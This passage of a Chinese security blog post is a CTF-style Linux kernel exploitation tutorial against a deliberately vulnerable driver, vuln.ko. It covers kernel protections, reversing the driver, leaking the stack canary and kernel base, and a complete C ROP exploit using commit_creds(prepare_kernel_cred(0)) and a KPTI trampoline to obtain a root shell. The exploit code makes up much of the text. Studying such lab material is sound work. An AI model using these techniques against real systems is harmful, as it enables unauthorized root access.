task\_struct。但是在编写Shellcode时,没有这些高级宏,必须直接使用汇编指令从 gs 寄存器中获取任务结构体 ,以下是如何在Shellcode中获取当前任务的 task\_struct 的示例: ```php mov rax, qword ptr gs:[0x0] ; 从 gs 段寄存器获取当前任务的 task_struct ``` 也可以用c语言写出来,编译为内核模块,通过objump来查看汇编指令是什么,再将汇编指令写入shellcode即可 ```php #include <linux/module.h> #include <linux/kernel.h> #include <linux/cred.h> MODULE_LICENSE("GPL"); void *test_get_thread_info_flags_addr(void) { return ¤t->thread_info.flags; } unsigned long test_get_seccomp_flag(void) { return TIF_SECCOMP; } ```  不需要阅读内核源代码,直接用编译器就能帮我们找出来需要用到的指令 清理环境 ---- 在用户空间执行完Shellcode可以不用管后面怎么样, 为了保证系统的稳定性和安全性,内核空间Shellcode在完成任务后应尽量干净地退出,而不是出现段错误或崩溃,如果是通过劫持函数指针来调用Shellcode,那么让它像一个函数一样运行并在完成时返回, 确保在Shellcode执行完毕后,恢复原有的寄存器和栈状态,避免影响后续代码执行 假设你通过劫持函数指针来执行Shellcode,可以在Shellcode末尾添加返回指令: ```php pop rax ; 弹出返回地址到rax jmp rax ; 跳转回返回地址,恢复正常执行 ``` 内核ROP攻击提权实战 ===========  解压压缩包后有这些文件 ```php bzImage:压缩后Linux内核文件,需要将其提取为vmlinux ELF文件,用于调试 initramfs.cpio.gzcpio:压缩的linux文件系统gzip文件 fs:使用Linux文件系统的解压版本 vuln.ko:存在漏洞的Linux内核驱动程序 ``` 提取bzImage文件需要extract\_image.sh脚本 <https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/extract-image.sh> ```php ./extract-image.sh bzImage > vmlinux ```  安装要用到的软件 ```php apt-get -q install -y bc bison flex libelf-dev musl-tools cpio build-essential libssl-dev qemu-system-x86 ``` 内核的防护措施 ======= 1\. SMEP (Supervisor Mode Execution Prevention) **用途:** SMEP是一种硬件支持的安全机制,主要用于防止内核执行用户态内存中的代码。其工作原理是在启用SMEP的情况下,内核模式代码无法执行位于用户模式内存中的代码。这可以有效防止一些攻击者通过用户态内存来注入和执行恶意代码。 **详细描述:** - **实现方式:** 由现代处理器(如Intel处理器)提供硬件支持,通过设置特定的CPU寄存器(如CR4中的SMEP位)来启用。 - **攻击防护:** 阻止许多RCE(Remote Code Execution)和本地提权攻击,因为即使攻击者能够在用户空间中植入恶意代码,内核也不会执行这些代码。 2\. SMAP (Supervisor Mode Access Prevention) **用途:** SMAP是一种进一步增强的安全机制,限制内核模式对用户态内存的访问。启用SMAP后,内核态代码不能随意访问用户态内存数据,除非显式禁用SMAP(通过临时设置特定的CPU寄存器位)。 **详细描述:** - **实现方式:** 与SMEP类似,通过现代处理器提供的硬件支持(如Intel处理器中的CR4寄存器)。 - **攻击防护:** 防止数据泄露和篡改攻击,因为即使攻击者能够在用户空间中放置恶意数据,内核也无法访问这些数据。 3\. KASLR (Kernel Address Space Layout Randomization) **用途:** KASLR通过随机化内核及其模块在内存中的加载地址,增加攻击者进行内存攻击(如缓冲区溢出攻击)的难度。通过使内核的地址空间布局在每次启动时不同,攻击者难以预测特定内存地址的位置。 **详细描述:** - **实现方式:** 启动时随机化内核和内核模块的基地址。 - **攻击防护:** 使得基于内存地址的攻击(如ROP攻击)更难实施,因为攻击者无法轻易找到内核函数和数据结构的确切位置。 4\. KPTI (Kernel Page-Table Isolation) **用途:** KPTI是一种内存隔离技术,主要用于防止Meltdown漏洞。通过将内核和用户态的页表分离,KPTI确保即使存在漏洞,用户态代码也无法直接访问内核态内存。 **详细描述:** - **实现方式:** 在用户态和内核态切换时,使用不同的页表,从而在用户态运行时完全隔离内核内存。 - **攻击防护:** 有效防止利用Meltdown漏洞的攻击,该漏洞允许恶意程序读取内核内存中的敏感数据。 逆向内核模块 ====== 使用ida或者ghidra都行,逆向内核模块和逆向普通程序是一样的,将vuln.ko内核模块导入分析即可  init\_func和exit\_func函数是内核模块的入口和出口 init\_func ----------  在init\_func函数里,内核模块设置了一个/pwn/pwn\_device文件,可以通过这个文件和内核模块进行交互 sopen -----  当成功打开设备文件时,sopen函数就会输出“Device opened” sread -----   sread功能在我们对/proc/pwn-device的文件描述符执行SYS\_read调用时,会简单地打印出字符串"Welcome to this kernel pwn series\\x00"。它通过将字符串从堆栈复制到我们提供的用户空间缓冲区来实现这一点 需要注意的是,我们不仅可以控制缓冲区地址,还可以控制读取的字节数。由于我们可以控制bytes\_to\_read,这意味着我们可以从内核堆栈读取任意值,从而导致内存泄漏,使我们能够绕过KASLR防护 swrite ------   这个函数将数据从用户空间缓冲区复制到内核栈上的栈变量。只有在 nbytes 小于 MaxBuffer(这是驱动程序中的一个全局变量)时,它才会复制前 nbytes 个字节。nbytes 是由用户控制的,这会导致内核栈缓冲区溢出漏洞。 这个函数有一个边界检查,会检查 nbytes 是否小于 MaxBuffer。MaxBuffer 初始化为 0x40  缓冲区大小为128字节,而MaxBuffer仅为0x40(64字节)。因此,我们不能发送超过0x40字节的数据。如果我们能以某种方式修改MaxBuffer,我们可能能够破坏栈 sioctl ------  这个函数是一个特殊函数,当用户执行 SYS\_ioctl 系统调用时会被调用。SYS\_ioctl 系统调用允许你向内核驱动程序发送命令。 在上面的 sioctl 函数中,可以看到只有两个命令。 cmd = 16 - 只是打印你传递给它的值 cmd = 32 - 将全局变量 MaxBuffer 设置为你传递给它的值。 MaxBuffer 是我们可以写入 swrite 函数内核栈上的字节数的上限。通过使用这个 ioctl,我们可以修改 MaxBuffer 的值,能够破坏栈。 环境搭建 ====   qemu模拟的环境是从fs文件夹获取的,改完配置,或者是放入程序,就要打包fs文件夹成一个名为initramfs.cpio.gz压缩包 运行rebuild\_fs.sh程序会自动打包  首先启动环境的时候需要默认登陆root用户,并且关闭KASLR地址随机化防护,方便调试 更改fs/init文件,注释图中的命令,这样,启动的时候就默认为root用户  然后打包fs文件夹,修改launch.sh启动脚本,更改图中内容  将kaslr改为nokaslr,并且加一条-s指令,qemu会启动gdbserver,可以gdb远程调试内核,在本地默认1234端口,改为后保存脚本,运行脚本启动qemu环境  成功进入环境,在内核启动时,脚本自动载入了vuln.ko,在/proc目录下也可以看到内核模块生成的pwn\_device文件  写一个程序调用内核模块生成的文件,看能否和内核模块交互成功 ```php #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <signal.h> unsigned long user_cs, user_ss, user_rflags, user_sp; void save_state(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); } void main() { save_state(); int fd = open("/proc/pwn_device", O_RDWR); char buffer[0x100] = "A"; read(fd, buffer, 0x100); } ``` 首先用了一些模板汇编代码指令,这些指令可以保存寄存器的值。这在我们以后需要从内核空间返回用户空间时会有用,然后打开/proc/pwn\_device,传入A字符 静态编译程序 ```php gcc -o fs/hello -static hello.c ```  将编译后的程序放到fs文件夹里,然后打包启动模拟脚本  成功和内核模块进行交互,内核模块输出"Welcome to this kernel pwn series" 内核崩溃 ==== 现在尝试让内核崩溃, 要绕过检查,需要执行一个 ioctl 系统调用,并使用cmd = 32 发送新的 MaxBuffer 值。现在,我们可以发送一堆“A”字符,看看内核是否会崩溃 ```php #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <signal.h> unsigned long user_cs, user_ss, user_rflags, user_sp; void save_state(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); } void main() { save_state(); int fd = open("/proc/pwn_device", O_RDWR); char buffer[0x1000]; ioctl(fd,32,sizeof(buffer)); memset(buffer, 'A', 500); write(fd, buffer, sizeof(buffer)); return 0; } ``` ```php gcc -o fs/hello -static hello.c ``` 静态编译程序后,打包fs文件夹,重新启动qemu  运行这个程序会导致内核崩溃,因为破坏了栈金丝雀(stack canary)的值 远程动态调试 ====== 执行launch.sh脚本启动qemu,然后gdb导入内核后远程连接  回到qemu里,查看/proc/kallsyms文件,可以找到指定函数的内存地址  在sread函数处下一个断点,执行程序到sread函数时就会停下    控制RIP ===== 在内核堆栈中可以看到这一串十六进制20656d6f636c65572073696874206f7470206c656e72656b6569726573206e77转换成ascii码是"emocleW siht otp lenrekeires nw"也就是sread功能输出的字符串   下面两个一样的值就是堆栈的cookie,要将cookie值读取出来 ```php #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <signal.h> unsigned long user_cs, user_ss, user_rflags, user_sp; void save_state(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); } void main() { save_state(); int fd = open("/proc/pwn_device", O_RDWR); unsigned long buffer[0x1000]; read(fd, buffer, 0x100); for (int i = 0; i < 0x100; i++) printf("%d | %lx\n", i, buffer[i]); } ``` 静态编译后打包运行程序  成功从device中读取了256字节的数据,这些数据全部包含重要的内核地址和cookie值。经过一段时间的分析,确定了可以可靠使用的地址,我选择了第14和18处的地址。由于在调试时KASLR(内核地址空间布局随机化)是关闭的,我通过以下过程计算了内核基地址偏移量:   反汇编swrite函数可知,它将cookie加载到位于 \[rsp + 0x80\] 处的堆栈中:  可以从堆栈偏移量 16(0x80/8)处开始覆盖 cookie ```php #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <signal.h> unsigned long user_cs, user_ss, user_rflags, user_sp; void save_state(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); } void main() { save_state(); int fd = open("/proc/pwn_device", O_RDWR); unsigned long buffer[0x1000]; read(fd, buffer, 0x100); unsigned long kernel_base = buffer[18] - 0x23e347; unsigned long kernel_cookie = buffer[14]; printf("[*] kernel cookie: 0x%lx\n", kernel_cookie); printf("[*] kernel leak: 0x%lx\n", buffer[18]); printf("[*] kernel base address: 0x%lx\n", kernel_base); ioctl(fd, 0x20, 0x1337); int offset = 16; unsigned long payload[16]; for (int i = 0; i < 16; i++) payload[i] = 0x4141414141414141; write(fd, payload, sizeof(payload)); } ``` 在swrite函数处下一个断点    运行程序到断点处  执行copy\_user\_generic\_unrolled指令后查看堆栈  cookie 后面跟着一些值(0x80),然后是返回地址0xffffffff8123e2e7  保留内核堆栈 cookie,覆盖返回地址: ```php #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <signal.h> unsigned long user_cs, user_ss, user_rflags, user_sp; void save_state(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); } void main() { save_state(); int fd = open("/proc/pwn_device", O_RDWR); unsigned long buffer[0x1000]; read(fd, buffer, 0x100); unsigned long kernel_base = buffer[18] - 0x23e347; unsigned long kernel_cookie = buffer[14]; printf("[*] kernel cookie: 0x%lx\n", kernel_cookie); printf("[*] kernel leak: 0x%lx\n", buffer[18]); printf("[*] kernel base address: 0x%lx\n", kernel_base); ioctl(fd, 0x20, 0x1337); int offset = 16; unsigned long payload[50]; payload[offset++] = kernel_cookie; payload[offset++] = 0xdeadbabedeadbabe; payload[offset++] = 0x4141414142424242; //ret addr write(fd, payload, sizeof(payload)); } ```  成功控制内核返回地址,接下来就该提权了 权限提升 ==== 内核也是由代码构成的,有代码地方就会存在各种各样的漏洞,危害最大的就是权限提升,内核会记录每一个进程的权限,而内核又是通过task\_struct记录了一大堆信息,task\_struct保存了操作系统所需的特定进程数据。这些数据包括:进程凭据、优先级、PID(进程 ID)、PPID(父进程 ID)、开放资源列表、内存空间范围信息、命名空间信息  task\_struct中最重要的是进程凭据(cred),cred结构体中包含进程的euid,euid是一个重要的字段,它代表了进程的有效用户ID(effective user ID)。有效用户ID是用于权限检查的用户ID,如果将euid改为0,当前进程就是root权限,提权就是将euid改为0  进程凭证是不可变的,但它可以被替换,内核提供了两个api,一个是把当前cred结构体对象替换为别的: ```php commit_creds(struct cred *) ``` 另一个能创建cred结构体对象: ```php struct cred *prepare_kernel_cred(struct task_struct*reference_task_struct) ``` 如果将NULL(0)传递给prepare\_kernel\_cred,它会创建一个具有root访问权限和完全权限的cred结构,再用commit\_creds执行它,就会获得root权限 ```php commit_creds(prepare_kernel_cred(0)); ```  payload的下一步是构造一个rop链,调用commit\_creds(prepare\_kernel\_cred(0)) 内核ROP ===== 还需要绕过KPTI防护,这个防护的作用是用户空间中的所有页面都被标记为不可执行,可以用KPTI trampoline 的方法绕过,如果系统调用正常返回,则内核中必定有一段代码会将页表交换回用户空间的页表,因此可以尝试重用代码来实现我们的目的。该段代码就是 KPTI trampoline,它的作用是交换页表、swapgs 和 iretq kpti\_trampoline位于swapgs\_restore\_regs\_and\_return\_to\_usermode()函数中  最终payload: ```php #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <signal.h> unsigned long user_cs, user_ss, user_rflags, user_sp; void save_state(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved state"); } void get_shell(void){ puts("[*] Returned to userland"); if (getuid() == 0){ printf("[*] UID: %d, got root!\n", getuid()); system("/bin/sh"); } else { printf("[!] UID: %d, didn't get root\n", getuid()); exit(-1); } } void main() { save_state(); int fd = open("/proc/pwn_device", O_RDWR); unsigned long leakbuf[0x100]; read(fd, leakbuf, 0x100); unsigned long kernel_base = leakbuf[18] - 0x23e347; unsigned long kernel_cookie = leakbuf[14]; unsigned long prepare_kernel_cred = kernel_base + 0x881c0; unsigned long commit_creds = kernel_base + 0x87e80; unsigned long user_rip = (unsigned long)get_shell; unsigned long kpti_trampoline = kernel_base + 0xc00a2f + 22; // grep swapgs_restore_regs_and_return_to_usermode + 22 unsigned long pop_rdi = kernel_base + 0x1518; // pop rdi ; ret unsigned long pop_rdx = kernel_base + 0x34b72; // pop rdx ; ret unsigned long iretq = kernel_base + 0x23cc2; // iretq unsigned long swapgs_ret = kernel_base + 0xc00eaa; // swapgs ; popfq ; ret unsigned long cmp_rdx_ret = kernel_base + 0xa30061; // cmp rdx, 8 ; jne 0xffffffff81a3003e ; ret unsigned long mov_rdi_rax_ret = kernel_base + 0x3b3504; // mov rdi, rax ; jne 0xffffffff813b34f1 ; xor eax, eax ; ret printf("[*] kernel cookie: 0x%lx\n", kernel_cookie); printf("[*] kernel leak: 0x%lx\n", leakbuf[18]); printf("[*] kernel base address: 0x%lx\n", kernel_base); printf("[*] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred); printf("[*] commit_creds: 0x%lx\n", commit_creds); ioctl(fd, 0x20, 0x1337); int offset = 16; unsigned long payload[50]; payload[offset++] = kernel_cookie; payload[offset++] = 0x0; payload[offset++] = pop_rdi; payload[offset++] = 0x0; payload[offset++] = prepare_kernel_cred; payload[offset++] = pop_rdx; payload[offset++] = 0x8; payload[offset++] = cmp_rdx_ret; payload[offset++] = mov_rdi_rax_ret; payload[offset++] = commit_creds; payload[offset++] = kpti_trampoline; payload[offset++] = 0x0; payload[offset++] = 0x0; payload[offset++] = user_rip; payload[offset++] = user_cs; payload[offset++] = user_rflags; payload[offset++] = user_sp; payload[offset++] = user_ss; write(fd, payload, sizeof(payload)); } ``` 开启kaslr防护并切换到ctf用户  成功提权
发表于 2025-01-09 09:30:02
阅读 ( 781 )
分类:
二进制
0 推荐
收藏
0 条评论
请先
登录
后评论
cike_y
8 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!